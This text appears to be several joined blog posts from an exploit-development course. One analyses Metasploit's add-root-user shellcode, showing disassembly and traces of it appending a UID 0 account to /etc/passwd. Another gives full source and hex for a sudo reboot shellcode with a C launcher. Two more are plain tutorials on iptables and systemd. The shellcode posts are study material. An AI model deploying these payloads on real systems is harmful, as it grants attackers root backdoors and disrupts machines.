root@kali:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

We see that it takes two parameter , USER and PASS . lets pipe the raw shellcode to ndisasm for analysis.

root@kali:~# msfvenom -p linux/x86/adduser USER=goutham PASS=goutham -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call 0x50
0000002B  676F              a16 outsd
0000002D  7574              jnz 0xa3
0000002F  68616D3A41        push dword 0x413a6d61
00000034  7A51              jpe 0x87
00000036  7945              jns 0x7d
00000038  50                push eax
00000039  754E              jnz 0x89
0000003B  306533            xor [ebp+0x33],ah
0000003E  7955              jns 0x95
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80

we see there are totally four syscalls. we can recognize last one very easily. its an exit syscall . seems like its just a cleanup operation. lets check out what first syscall is. 0x46 is 70 in decimal. i.e,

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 70
#define __NR_setreuid 70

its setreuid ..according to its man page,

setreuid() sets real and effective user IDs of the calling process.

so since ebx and ecx register is set to 0 before calling interrupt, it is setting  that of root. this helps us in our further task of adding a root user ( we need this privilege to write passwd file).

Second syscall is fairly straight forward, its an open sys call ( 5 )

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 5
#define __NR_open 5

int open(const char *pathname, int flags);

From man page, we can see it takes two argument . first one , file name and second one is the flags defines mode of operation associated . from the shellcode its clear , ebx is pointed to string “/etc//passwd”

0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80

and also , ecx is pushed with value 0x0401(1025) which points out flags set are write and append  http://man7.org/linux/man-pages/man2/open.2.html

since open returns file descriptor of file being operated on . since return value is stored in eax its moved to ebx. next we see some weird instructions .but syscall points out its a  write sys call . (5) lets run the same pgm in gdb and check before interrupt is called for this write syscall.

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --> 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402093 <code+83>:	cld    
   0x402094 <code+84>:	push   0x4
   0x402096 <code+86>:	pop    eax
=> 0x402097 <code+87>:	int    0x80
   0x402099 <code+89>:	push   0x1
   0x40209b <code+91>:	pop    eax
   0x40209c <code+92>:	int    0x80
   0x40209e <code+94>:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --> 0x0 
0016| 0xbffff2bc --> 0x40059d (<main+80>:	mov    eax,0x0)
0020| 0xbffff2c0 --> 0x1 

from man page for write sys call,

ssize_t write(intfd, const void *buf, size_tcount);

we see just before the sys interrupt , ebx points to file discripter which was returned by earlier open sys call. ecx contains memory location which points to our required line for adding user to /etc/passwd . finally edx contains size. 

Finally exit call is used to exit gracefully. 

with the help of strace , we can see what syscalls are called by our program. we can verify all the syscalls with proper arguments as follows :

root@kali:~/slae_analyze/msf_adduser# strace ./shellcode

write(1, "Shellcode Length:  40\n", 22Shellcode Length:  40
) = 22

setreuid(0, 0)                          = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "goutham:AzQyEPuN0e3yU:0:0::/:/bi"..., 37) = 37
exit(3)                                 = ?
+++ exited with 3 +++

lets verify the operation is successful .

root@kali:~/slae_analyze/msf_adduser# cat /etc/passwd | grep goutham

goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh

As we see, our desired user with root privilege is added to the system.

Github repo for code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

The post Linux/x86 msfvenom add user shellcode analysis appeared first on .

systmctl_reboot.nasm

———————————————————————————————–

section .text
_start:

; clear out registers before use
xor eax, eax
xor edx,edx

; PUSH /usr////bin/sudo
push eax
push 0x6f647573
push 0x2f6e6962
push 0x2f2f2f2f
push 0x7273752f

; execve first argument
mov ebx, esp

; PUSH /bin///systemctl
push eax
push 0x6c74636d
push 0x65747379
push 0x732f2f2f
push 0x6e69622f
mov ecx,esp

; PUSH reboot.target
push eax
push byte 0x74
push 0x65677261
push 0x742e746f
push 0x6f626572
mov esi,esp

; PUSH start
push eax
push byte 0x74
push 0x72617473
mov edi,esp

; execve second argument
push eax
push esi
push edi
push ecx
push ebx
mov ecx,esp

; execve third argument
push eax
mov edx, esp

; mov 11 to eax (syscall for execve)
mov al, 11
; Call the interupt
int 0x80

assembling : nasm   -f   elf32  -o  systmctl_reboot.o  systmctl_reboot.nasm

linking : ld -z execstack -o systmctl_reboot   systmctl_reboot.o

finally we can get the final machine code with the help of objdump,

objdump -d ./systmctl_reboot  -M intel

final shellcode :

\x31\xc0\x31\xd2\x50\x68\x73\x75\x64\x6f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x68\x6d\x63\x74\x6c\x68\x79\x73\x74\x65\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe1\x50\x6a\x74\x68\x61\x72\x67\x65\x68\x6f\x74\x2e\x74\x68\x72\x65\x62\x6f\x89\xe6\x50\x6a\x74\x68\x73\x74\x61\x72\x89\xe7\x50\x56\x57\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80

this can be used inside our template c program to trigger this shellcode.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
“\x31\xc0\x31\xd2\x50\x68\x73\x75\x64\x6f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x68\x6d\x63\x74\x6c\x68\x79\x73\x74\x65\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe1\x50\x6a\x74\x68\x61\x72\x67\x65\x68\x6f\x74\x2e\x74\x68\x72\x65\x62\x6f\x89\xe6\x50\x6a\x74\x68\x73\x74\x61\x72\x89\xe7\x50\x56\x57\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80”;

main()
{

printf(“Shellcode Length: %d\n”, strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

compile with no stack protection and exec stack flags.

gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

./shellcode

This should trigger a system restart if nopasswd has been set to execute sudo commands.

The post shellcode 1 : Linux/x86 – sudo systemctl start reboot.target appeared first on .

Iptables is a linux firewall administrative utility which helps in packet filtering and NAT ( Network Address Translation ) .

Iptables acts as an interface for an user to carry out the filtering ,mangling of packets and NAT functionality. operation mainly relies on netfilter hooks. ‘netfilter’ is mainly a series of hooks at various layers of kernal network protocol stack . whenever a packet arrives(or leaves)  the interface , loaded kernal modules can register at these hooks  and  triggered accordingly based on the priority provided.

there are totally five hooks that a program can register with,to manipulate or verify the packet.

1. NF_PRE_ROUTING : packet has just entered the network stack. will be triggered first , decision about the destination is made.
2. NF_IP_FORWARD :  This hook is triggered only when decision about the destination is not the local system but to forward to other.
3. NF_IP_LOCAL_IN :  This hook is triggered when the local system is the destination.
4. NP_IP_LOCAL_OUT : This hook is triggered when the packet is originated from  local system and is about to leave the network interface.
5. NF_POST_ROUTING : This hook is triggered post NF_IP_FORWARD hook just before it leaves the network interface.

Note : each packet entering or leaving the network interface  is stored as an instance of sk_buff structure. And the hooks are applied on sk_buff structure for packet filtering.

iptables consists of tables defined based on the functionality of the same.these tables consists of series of chains and in turn these chains consists of rules to be matched.

Different tables:

1. Filter (default)
2. NAT
3. Mangle
4. Raw
5. security

Different chains :

INPUT, OUTPUT, FORWARD , PREROUTING , POSTROUTING .

As said earlier , these  chains of multiple table are triggered at five hooks with the priority defined and sequentially evaluated.

now lets focus on defining rules for Filter table. This table has mainly three chains namely INPUT , OUTPUT , FILTER.

each of these chains can have different rules in which will be applied to the packets in question.if none of the rules apply to the packet , the Default policy is triggered.You can set the default policy of each chain as follows,

iptables -t filter -P INPUT DROP

iptables -t filter -P OUTPUT ACCEPT

iptables -t filter -P FORWARD REJECT

> first rule specifies a default policy ( – p) for input chain as drop the packet by default  if it does not match any rules in the chain.

> second rule specifies a default policy for output chain as accept the packet by default if it does not match any rules in the chain.

> third rule specifies a default policy for forward chain as reject( send an error response) the packet by default if it does not match any rules in the chain.

Now we can append the custom rules to each of the chain.

ex 1 : iptables -t filter -A INPUT -p tcp -s barriersec.com –dport 80 -j ACCEPT

here, this rule specifies that for filter table(-t) ,  append (-A) a rule to INPUT chain  for protocol (-p) tcp and source of packet(-s) from barriersec.com to the destination port (–dport) 80 and ACCEPT the packet (-j).

ex 2 : iptables -t filter -A OUTPUT -p tcp -d barriersec.com –sport 80 -j DROP

here, this rule specifies that for filter table(-t) , append (-A) a rule to OUTPUT chain for protocol (-p) tcp and destination of the packet ( -d) to barriersec.com from the source port(–sport) 80 and DROP the packet(-j).

we can view the list of rules for each of the table using,

 iptables -t [table name] -L

we can make use of conntrack to track the state of each tcp/udp connection.

ex : iptables -A INPUT -p tcp –dport 80 -s barriersec.com -m conntrack –cstate NEW -j ACCEPT

here, we are using conntack module  to accept the packet only if the state is new. ( first packet of the new connection.)

furthermore,  this feature  helps in deciding which packet belongs to which session/connection.

only con with this is, with increase in magnitude of traffic , cost of maintaining state will be very high.

we can also enable logging and use it on a specific rule as shown below :

iptables -A INPUT -s barriersec.com -j LOG –log-level 4 –log-prefix “/Admin”

This would effectively enable logging for the input connections matching the rule in the chain.

for detailed information regarding netfilter architecture :   visit https://www.netfilter.org/

The post Introduction to iptables and configure linux firewall rules appeared first on .

What is an Initialization system?

Init System daemons are the first process spawned by the kernal process when a server boots, which carries major initialization and management of services that are crucial to certain context operations . And also managing services across different runlevels . for example, spawning a getty login shell on startup. There can be custom services too, such as starting ‘ssh’ service on startup.

 Note : Initialization system has process ID = 1  and parent process ID = 0 .

There are many initialization systems available . Few of the popular ones are SysvInit , upstart and systemd.

SysvInit is one of the easy and simplest init system which mainly handles static events such as load all the service once the system boots . This effectively lacks handling dynamic events such as handling Pluggable USB’s , hotplugs , external SSD.  SysvInit initialization system manages different services required based on the default runlevel specified. (default runlevel is runlevel 5 i.e, graphical mode). the services inside the folder /etc/rc.d/rcx.d where x=0,1,2,3,4,5,6  specifies which service scripts has to be run for a particular runlevel on startup .

Note : You can change runlevel of a system using ‘init runlevel’  .

example : ‘init 0’  would effectively halts or shut down the system.

Upstart is another initialization system which was designed to handle dynamic events instead of pre defined sequence of activating services. they use the concept of jobs which effectively initializes and monitors services .

Systemd init system daemons are the recent replacements for other initialization daemons which is complex of them all. Specialty  of this system is that it can start services in parallel. Out of all Systemd manages ‘Units’ .

There are totally 8 type of unit files, out of all we focus mainly on two that is service unit files and target unit files.

service unit files are used to manage different services. And target unit files are a collection of services , which would collectively form run level of a system.

System specific service files reside under ‘/lib/systemd/system’ directory , whereas Custom user service files reside under ‘/etc/systemd/system’ directory.

Main service/target handling commands :

Start a service / target file :  systemctl start unitname.service
or systemctl start unitname.target

ex : systemctl start apache2.service

Stop a service / target file :  systemctl stop unitname.service
or systemctl stop unitname.target

ex :  systemctl stop apache2.service

Status of a service / target file :  systemctl status unitfile.service

ex : systemctl status apache2.service

restart a service unit file :  systemctl restart unitfile.service

ex : systemctl restart apache2.service

enable service on start – up : systemctl enable unitfile.service

ex : systemctl enable ssh.service

disable service on start – up :systemctl disable unitfile.service

ex : systemctl disable ssh.service

Note : .service extension can be omitted and is considered by default.

Now Lets create a custom service unit file and see the required procedure to enable one.

1. Create a file with extension .service , with the following content.

[Unit]
Description=Trial service

[Service]
Type=oneshot
ExecStart=/bin/sh -c “runtime”
ExecStop=/bin/sh -c “uname -a”
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

Above content creates a unit with required unit description , and the attributes of service such as ‘Type ‘ which specifies if the  service is oneshot ,forking , simple, notify or idle . here we have used oneshot which means that it executes some action and exits immediately .This requires another attribute ‘RemainAfterExit’ to be set. ‘ExecStart’ is the attribute which has a process to be executed once this unit is started. ‘ExecStop’ is the attribute which has a process to be executed once this unit is stopped. and finally WantedBy attribute specifies the target file which requires this service for it to initialize.

2. Move the myservice.service unit file to /etc/systemd/system directory . and finally start the service file .

systemctl myservice.service start

Following snaps captures the status of the service once initialized and then stopped.

img (a) : status after starting  the  service, we can see in the systemctl logs from journal logs that the command defined in the ExecStart attribute executed successfully and the output is displayed in the logs.

img (b) : status after stopping the  service, we can see in the systemctl logs from journal logs that the command defined in the ExecStop attribute executed successfully and the output is displayed in the logs.

We have successfully created a simple service file and initialized it , now if we want to enable it to start at boot , we can use enable command as described above. this effectively creates a symbolic link to multiuser.target.wants directory with the same service name .

Note : we can also make use other attributes such as ExecStartPre , ExecStopPre etc.

Detailed documentation can be found at  systemd official website :  https://www.freedesktop.org/wiki/Software/systemd/

The post Introduction to Initialization systems and creating your first Systemd service appeared first on .